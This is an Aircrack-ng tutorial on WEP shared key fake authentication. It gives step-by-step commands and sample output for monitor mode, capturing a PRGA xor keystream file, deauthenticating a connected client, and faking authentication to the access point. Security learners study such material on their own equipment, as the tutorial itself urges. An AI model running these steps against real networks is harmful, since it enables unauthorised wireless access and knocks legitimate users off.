Version: 1.08 November 7, 2008
File linked to this tutorial: wep.shared.key.authentication.cap
15:46:53 Sending Authentication Request 15:46:53 AP rejects open-system authentication Please specify a PRGA-file (-y).
The tutorial will describe the WEP authentication schemes so you have an understanding of what your are doing. Then explain the techniques and troubleshooting methods in detail.
It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.
I would like to acknowledge and thank the Aircrack-ng team for producing such a great robust tool.
Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.
First, this solution assumes:
Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change “ath0” to the interface name which is specific to your wireless card.
In this tutorial, here is what was used:
You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.
An access point must authenticate a station before the station can associate with the access point or communicate with the network. The IEEE 802.11 standard defines two types of WEP authentication: Open System and Shared Key.
We will be dealing with the shared key authentication. Netgear has a very nice diagram and write-up on shared key authentication. Please take a minute and review this material so you understand what shared key authentication is and how it works.
In order to do a shared key fake authentication, you need to have a PRGA (pseudo random generation algorithm) xor file to feed into it. We will look at the detailed steps to obtain this in a typical scenario. Then use the PRGA xor file to do a fake authentication.
Here are the basic steps we will be going through:
Enter the following command to start the wireless card on channel 9 in monitor mode:
airmon-ng start wifi0 9
Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.
The system will respond:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
You will notice that “ath0” is reported above as being put into monitor mode.
To confirm the interface is properly setup, enter “iwconfig”.
The system will respond:
lo no wireless extensions. eth0 no wireless extensions. wifi0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:09:5B:EC:EE:F2 Bit Rate:0 kb/s Tx-Power:15 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Only the madwifi-ng drivers show the MAC address of the card in the AP field, other drivers do no. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.
To match the frequency to the channel, check out: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . This will give you the frequency for each channel.
Open another console session to capture the PRGA xor file. Then enter:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w sharedkey ath0
-bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
Beyond the error message shown in the introduction, how do you determine if shared key authentication is required? In the screen below, notice the “SKA” for the AP under AUTH. This means it is using shared key authentication. This will not show up until a client has successfully associated with the AP.
CH 9 ][ Elapsed: 20 s ][ 2007-02-10 16:29 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 37 100 197 9 0 9 11 WEP WEP SKA teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:34:30:30 61 0 7
Once “SKA” appears on the airodump-ng screen like in example above, do file listing and it will look something like:
sharedkey-01-00-14-6C-7E-40-80.xor sharedkey-01.cap sharedkey-01.txt
The “sharedkey-01-00-14-6C-7E-40-80.xor” file contains the PRGA xor bits that can be used in a later step to successfully complete the fake authentication. The sample wep.shared key authentication file can be viewed with WireShark to see what the packet exchange looks like. You can compare this to your own captures to determine if you are missing packets.
In real life, you will not likely be that lucky and happen to be sniffing when a wireless client associates with the access point yielding the PRGA xor file. To obtain the PRGA xor bit file, there are two basic methods:
Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following command:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
Here is what the output looks like:
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
Prior to executing the command above, open another console and start airodump-ng in the same way as you did earlier “airodump-ng -c 9 -
-bssid 00:14:6C:7E:40:80 -w sharedkey ath0”.
Once you run the deauthentication command, see if airodump-ng has output the PRGA xor file. If not, try another deauthentication or against another client.
Once you have successfully obtained the PRGA xor file, proceed to the next step.
Now that you have a PRGA xor file, you are ready to do the shared key fake authentication.
aireplay-ng -1 0 -e teddy -y sharedkey-04-00-14-6C-7E-40-80.xor -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Here is an example of a successful authentication:
11:44:55 Sending Authentication Request 11:44:55 AP rejects open-system authentication Part1: Authentication Code 0 - Authentication SUCCESSFUL :) Part2: Association Code 0 - Association SUCCESSFUL :)
If you receive the messages above, you are good to go forward with the standard injection techniques.
Here is an example of a failed authentication:
11:45:06 Sending Authentication Request 11:45:06 AP rejects open-system authentication Part1: Authentication Authentication failed! Part1: Authentication Authentication failed! and so on...
Here another type of failure:
11:55:05 Sending Authentication Request 11:55:05 AP rejects open-system authentication Part1: Authentication Code 0 - Authentication SUCCESSFUL :) Part2: Association Not answering...(Step3) Retrying association sequence! Part2: Association Not answering...(Step3) Retrying association sequence! and so on...